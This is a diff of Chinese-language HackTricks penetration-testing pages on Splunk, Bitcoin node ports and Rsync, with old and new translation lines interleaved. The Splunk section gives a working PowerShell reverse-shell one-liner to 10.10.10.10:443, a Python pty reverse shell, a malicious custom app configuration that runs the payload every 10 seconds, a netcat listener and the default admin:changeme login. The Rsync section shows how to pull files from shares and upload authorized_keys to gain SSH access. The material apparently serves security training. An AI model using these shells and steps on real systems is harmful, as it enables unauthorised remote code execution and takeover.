* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注我们**。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**Splunk**是一个用于收集、分析和可视化数据的**日志分析工具**。尽管最初并不是作为SIEM工具而设计的,但Splunk经常用于**安全监控和业务分析**。Splunk部署通常用于存储**敏感数据**,如果被攻击者入侵,可能会提供大量信息。
|
||||
Splunk 是一款**日志分析工具**,在**收集、分析和可视化数据**方面发挥着关键作用。虽然它最初的目的不是作为**SIEM(安全信息和事件管理)**工具,但在**安全监控**和**业务分析**领域中备受欢迎。
|
||||
|
||||
**默认端口:**8089
|
||||
Splunk 部署经常用于存储**敏感数据**,如果攻击者设法入侵系统,它可以成为潜在攻击者的**宝贵信息来源**。
|
||||
**默认端口:** 8089
|
||||
```
|
||||
PORT STATE SERVICE VERSION
|
||||
8089/tcp open http Splunkd httpd
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Splunk Web服务器默认在端口8000上运行。
|
||||
**Splunk Web 服务器默认在端口 8000 上运行**。
|
||||
{% endhint %}
|
||||
|
||||
## 枚举
|
||||
|
||||
### 免费版本
|
||||
|
||||
Splunk Enterprise试用版在60天后转换为**免费版本**,**不需要身份验证**。系统管理员安装Splunk试用版进行测试,然后**往往会忘记**。这将自动转换为没有任何形式身份验证的免费版本,从而在环境中引入安全漏洞。一些组织可能由于预算限制而选择免费版本,但并不完全了解没有用户/角色管理的影响。
|
||||
Splunk Enterprise 试用版在 60 天后转换为**免费版本**,**无需身份验证**。系统管理员经常安装 Splunk 试用版进行测试,**随后被遗忘**。这将自动转换为没有任何形式身份验证的免费版本,在环境中引入了安全漏洞。一些组织可能由于预算限制而选择免费版本,但并没有完全理解没有用户/角色管理的影响。
|
||||
|
||||
### 默认凭据
|
||||
|
||||
在旧版本的Splunk中,默认凭据是**`admin:changeme`**,方便地显示在登录页面上。\
|
||||
然而,**最新版本的Splunk**在**安装过程中设置凭据**。如果默认凭据不起作用,可以尝试常见的弱密码,如`admin`,`Welcome`,`Welcome1`,`Password123`等。
|
||||
在旧版本的 Splunk 中,默认凭据是 **`admin:changeme`**,方便地显示在登录页面上。\
|
||||
然而,**最新版本的 Splunk** 在**安装过程中设置凭据**。如果默认凭据不起作用,值得检查常见弱密码,如 `admin`,`Welcome`,`Welcome1`,`Password123` 等。
|
||||
|
||||
### 获取信息
|
||||
|
||||
登录Splunk后,我们可以**浏览数据**,运行**报告**,创建**仪表板**,从Splunkbase库中**安装应用程序**,并安装自定义应用程序。\
|
||||
您还可以运行代码:Splunk有多种运行代码的方式,例如服务器端Django应用程序、REST端点、脚本输入和警报脚本。在Splunk服务器上获得远程代码执行的常见方法是使用脚本输入。
|
||||
登录到 Splunk 后,我们可以**浏览数据**,运行**报告**,创建**仪表板**,从 Splunkbase 库**安装应用程序**,以及安装自定义应用程序。\
|
||||
您还可以运行代码:Splunk 有多种**运行代码**的方式,如服务器端 Django 应用程序,REST 端点,脚本输入和警报脚本。在 Splunk 服务器上获得远程代码执行的常见方法是通过脚本输入。
|
||||
|
||||
此外,由于Splunk可以安装在Windows或Linux主机上,可以创建脚本输入来运行Bash、PowerShell或批处理脚本。
|
||||
此外,由于 Splunk 可以安装在 Windows 或 Linux 主机上,可以创建脚本输入来运行 Bash、PowerShell 或批处理脚本。
|
||||
|
||||
### Shodan
|
||||
|
||||
* `Splunk构建`
|
||||
* `Splunk 构建`
|
||||
|
||||
## RCE
|
||||
|
||||
### 创建自定义应用程序
|
||||
|
||||
自定义应用程序可以运行**Python、批处理、Bash或PowerShell脚本**。\
|
||||
请注意,**Splunk已安装了Python**,因此即使在**Windows**系统中,您也可以运行Python代码。
|
||||
自定义应用程序可以运行**Python、批处理、Bash 或 PowerShell 脚本**。\
|
||||
请注意,**Splunk 已安装 Python**,因此即使在**Windows**系统中,您也可以运行 Python 代码。
|
||||
|
||||
您可以使用[**此**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk软件包来帮助我们。此存储库中的**`bin`**目录有[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)和[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)的示例。让我们逐步进行。
|
||||
您可以使用[**此**](https://github.com/0xjpuff/reverse\_shell\_splunk) Splunk 软件包来帮助我们。此存储库中的 **`bin`** 目录有[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py) 和[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1) 的示例。让我们逐步进行。
|
||||
|
||||
为了实现这一点,我们首先需要使用以下目录结构创建一个自定义的Splunk应用程序:
|
||||
要实现这一点,我们首先需要使用以下目录结构创建自定义 Splunk 应用程序:
|
||||
```shell-session
|
||||
tree splunk_shell/
|
||||
|
||||
|
@ -64,11 +67,11 @@ splunk_shell/
|
|||
├── bin
|
||||
└── default
|
||||
```
|
||||
**`bin`**目录将包含我们打算运行的**脚本**(在本例中是一个**PowerShell**反向shell),默认目录将有我们的`inputs.conf`文件。我们的反向shell将是一个**PowerShell一行命令:**
|
||||
**`bin`**目录将包含我们打算运行的任何脚本(在本例中是一个**PowerShell**反向shell),默认目录将有我们的`inputs.conf`文件。我们的反向shell将是一个**PowerShell一行命令:**
|
||||
```powershell
|
||||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
|
||||
```
|
||||
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)文件告诉Splunk要运行哪个脚本以及其他条件。在这里,我们将应用程序设置为启用,并告诉Splunk每10秒运行一次脚本。间隔始终以秒为单位,并且只有在存在此设置时,输入(脚本)才会运行。
|
||||
[inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)文件告诉Splunk要运行哪个脚本以及任何其他条件。在这里,我们将应用设置为启用,并告诉Splunk每10秒运行一次脚本。间隔始终以秒为单位,只有在存在此设置时,输入(脚本)才会运行。
|
||||
```shell-session
|
||||
cat inputs.conf
|
||||
|
||||
|
@ -82,23 +85,23 @@ disabled = 0
|
|||
sourcetype = shell
|
||||
interval = 10
|
||||
```
|
||||
我们需要一个`.bat`文件,在应用部署时运行并执行PowerShell一行命令。
|
||||
我们需要`.bat`文件,在部署应用程序时运行并执行PowerShell一行命令。
|
||||
|
||||
下一步是选择`从文件安装应用`并上传应用。
|
||||
下一步是选择`从文件安装应用程序`并上传应用程序。
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在上传恶意自定义应用之前,让我们使用Netcat或[socat](https://linux.die.net/man/1/socat)启动一个监听器。
|
||||
在上传恶意自定义应用程序之前,让我们使用Netcat或[socat](https://linux.die.net/man/1/socat)启动一个监听器。
|
||||
```shell-session
|
||||
sudo nc -lnvp 443
|
||||
|
||||
listening on [any] 443 ...
|
||||
```
|
||||
在`上传应用程序`页面上,点击`浏览`,选择之前创建的tarball文件,然后点击`上传`。一旦我们上传应用程序,应用程序的状态将自动切换为`已启用`,同时我们将收到一个反向shell连接。
|
||||
在`上传应用程序`页面,点击浏览,选择我们之前创建的tarball,然后点击`上传`。一旦我们上传应用程序,应用程序的状态将自动切换为`已启用`,同时我们会收到一个反向shell。
|
||||
|
||||
#### Linux
|
||||
|
||||
如果我们处理的是一个Linux主机,我们需要在创建tarball文件和上传自定义恶意应用程序之前编辑`rev.py` Python脚本。其余的过程将保持不变,我们将在Netcat监听器上获得一个反向shell连接。
|
||||
如果我们在处理Linux主机,我们需要在创建tarball并上传自定义恶意应用程序之前编辑`rev.py` Python脚本。其余流程将保持不变,我们将在Netcat监听器上收到一个反向shell连接,然后就可以开始操作了。
|
||||
```python
|
||||
import sys,socket,os,pty
|
||||
|
||||
|
@ -109,9 +112,9 @@ s.connect((ip,int(port)))
|
|||
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
|
||||
pty.spawn('/bin/bash')
|
||||
```
|
||||
### RCE & 提权
|
||||
### 远程代码执行 & 提权
|
||||
|
||||
在下面的页面中,您可以找到如何滥用此服务以提升权限并获取持久性的解释:
|
||||
在下面的页面中,您可以找到关于如何滥用此服务以提升权限并获取持久性的解释:
|
||||
|
||||
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
|
||||
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
|
@ -123,12 +126,14 @@ pty.spawn('/bin/bash')
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,22 +2,22 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中宣传您的公司**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
* **端口8333** 被比特币主网节点用于彼此之间的通信。
|
||||
* **端口18333** 被比特币测试网节点用于彼此之间的通信。
|
||||
* **端口38333** 被比特币签名网络节点用于彼此之间的通信。
|
||||
* **端口18444** 被比特币本地测试网络节点用于彼此之间的通信。
|
||||
* **端口8333**用于比特币**主网**中的节点之间通信。
|
||||
* **端口18333**用于比特币**测试网**中的节点之间通信。
|
||||
* **端口38333**用于比特币**签名网**中的节点之间通信。
|
||||
* **端口18444**用于比特币**regtest**(本地)中的节点之间通信。
|
||||
|
||||
**默认端口:** 8333, 18333, 38333, 18444
|
||||
```
|
||||
|
@ -56,12 +56,12 @@ PORT STATE SERVICE
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗?想要看到你的 **公司在 HackTricks 中被宣传** 吗?或者想要访问 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我的 **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)** 提交 PR 来分享你的黑客技巧。
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFT收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,24 @@
|
|||
# 873 - Rsync渗透测试
|
||||
# 873 - 渗透测试 Rsync
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 如果你在**网络安全公司**工作,想在**HackTricks**上看到你的**公司广告**,或者想要获取**PEASS最新版本或下载HackTricks的PDF**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## **基本信息**
|
||||
|
||||
> **rsync** 是一个用于在计算机与外部硬盘驱动器之间以及网络计算机之间高效[传输](https://en.wikipedia.org/wiki/File\_transfer)和[同步](https://en.wikipedia.org/wiki/File\_synchronization)[文件](https://en.wikipedia.org/wiki/Computer\_file)的实用程序,通过比较文件的[修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\))和大小。它通常可以在[类Unix](https://en.wikipedia.org/wiki/Unix-like)[操作系统](https://en.wikipedia.org/wiki/Operating\_system)中找到。rsync算法是一种[增量编码](https://en.wikipedia.org/wiki/Delta\_encoding),用于最小化网络使用。[Zlib](https://en.wikipedia.org/wiki/Zlib)可用于额外的[数据压缩](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3)而[SSH](https://en.wikipedia.org/wiki/Secure\_Shell)或[stunnel](https://en.wikipedia.org/wiki/Stunnel)可用于安全性。
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
来自[wikipedia](https://en.wikipedia.org/wiki/Rsync)。
|
||||
> **rsync** 是一种用于在计算机和外部硬盘驱动器之间以及跨网络计算机之间高效 [传输](https://en.wikipedia.org/wiki/File\_transfer) 和 [同步](https://en.wikipedia.org/wiki/File\_synchronization) [文件](https://en.wikipedia.org/wiki/Computer\_file) 的实用程序,通过比较文件的 [修改时间](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) 和大小来实现。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 它通常在 [类 Unix](https://en.wikipedia.org/wiki/Unix-like) [操作系统](https://en.wikipedia.org/wiki/Operating\_system) 上找到。rsync 算法是一种 [增量编码](https://en.wikipedia.org/wiki/Delta\_encoding) 类型,用于最小化网络使用。[Zlib](https://en.wikipedia.org/wiki/Zlib) 可用于额外的 [数据压缩](https://en.wikipedia.org/wiki/Data\_compression),[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) 并且可以使用 [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) 或 [stunnel](https://en.wikipedia.org/wiki/Stunnel) 来提供安全性。
|
||||
|
||||
**默认端口:** 873
|
||||
```
|
||||
|
@ -49,56 +51,58 @@ raidroot
|
|||
```
|
||||
### **枚举共享文件夹**
|
||||
|
||||
**rsync 模块本质上是一个目录共享**。这些模块**可以选择由密码保护**。此选项列出可用模块,并可选地确定访问模块是否需要密码:
|
||||
**Rsync模块** 被识别为可能受密码保护的 **目录共享**。为了识别可用模块并检查它们是否需要密码,使用以下命令:
|
||||
```bash
|
||||
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/rsync/modules_list
|
||||
|
||||
#Example using IPv6 and a different port
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
请注意,共享名称可能被配置为不显示。因此,可能有一些**隐藏**的内容。
|
||||
请注意,可能会列出一些需要一些(不同的)**凭证**才能访问的**共享名称**。因此,并不是所有列出的名称都能访问,如果在尝试访问这些名称时收到**“访问拒绝”**消息,你将会注意到这一点。
|
||||
请注意,某些共享可能不会出现在列表中,可能被隐藏。此外,访问某些共享可能会受到特定**凭据**限制,这会显示**"拒绝访问"**消息。
|
||||
|
||||
### [**暴力破解**](../generic-methodologies-and-resources/brute-force.md#rsync)
|
||||
|
||||
### 手动 Rsync
|
||||
### 手动使用 Rsync
|
||||
|
||||
一旦你有了**模块列表**,根据你想要采取的行动以及是否需要认证,你有几种不同的选项。**如果不需要认证**,你可以**列出**一个共享文件夹:
|
||||
在获取**模块列表**后,操作取决于是否需要身份验证。没有身份验证时,通过以下方式可以从共享文件夹**列出**和**复制**文件到本地目录:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
```
|
||||
And **复制** all **文件** to your local machine via the following command:
|
||||
```bash
|
||||
|
||||
# Copying files from a shared folder
|
||||
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
这将**递归传输目录** `<shared_name>` 中的所有文件从机器 `<IP>` 到本地机器上的 `./rsync_shared` 目录。文件以“归档”模式传输,确保在传输过程中保留符号链接、设备、属性、权限、所有权等。
|
||||
这个过程**递归传输文件**,保留它们的属性和权限。
|
||||
|
||||
如果您**拥有凭据**,您可以使用以下命令**列出/下载**一个**共享名称**(将提示输入密码):
|
||||
使用**凭据**,可以按以下方式列出共享文件夹并下载文件,会出现密码提示:
|
||||
```bash
|
||||
rsync -av --list-only rsync://username@192.168.0.123/shared_name
|
||||
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
|
||||
```
|
||||
你也可以使用 rsync **上传**一些**内容**(例如,在这种情况下,我们可以上传一个 _**authorized\_keys**_ 文件以获取对盒子的访问权限):
|
||||
要**上传内容**,比如一个用于访问的_**authorized_keys**_文件,请使用:
|
||||
```bash
|
||||
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
找到rsyncd配置文件:
|
||||
要定位rsyncd配置文件,请执行:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
在配置文件中,有时你会发现参数 _secrets file = /path/to/file_,这个文件可能包含用于认证到 rsyncd 的用户名和密码。
|
||||
## 参考资料
|
||||
* [https://www.smeegesec.com/2016/12/pentesting-rsync.html](https://www.smeegesec.com/2016/12/pentesting-rsync.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在**HackTricks**中看到你的**公司广告**吗?或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFTs**](https://opensea.io/collection/the-peass-family) 收藏。
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
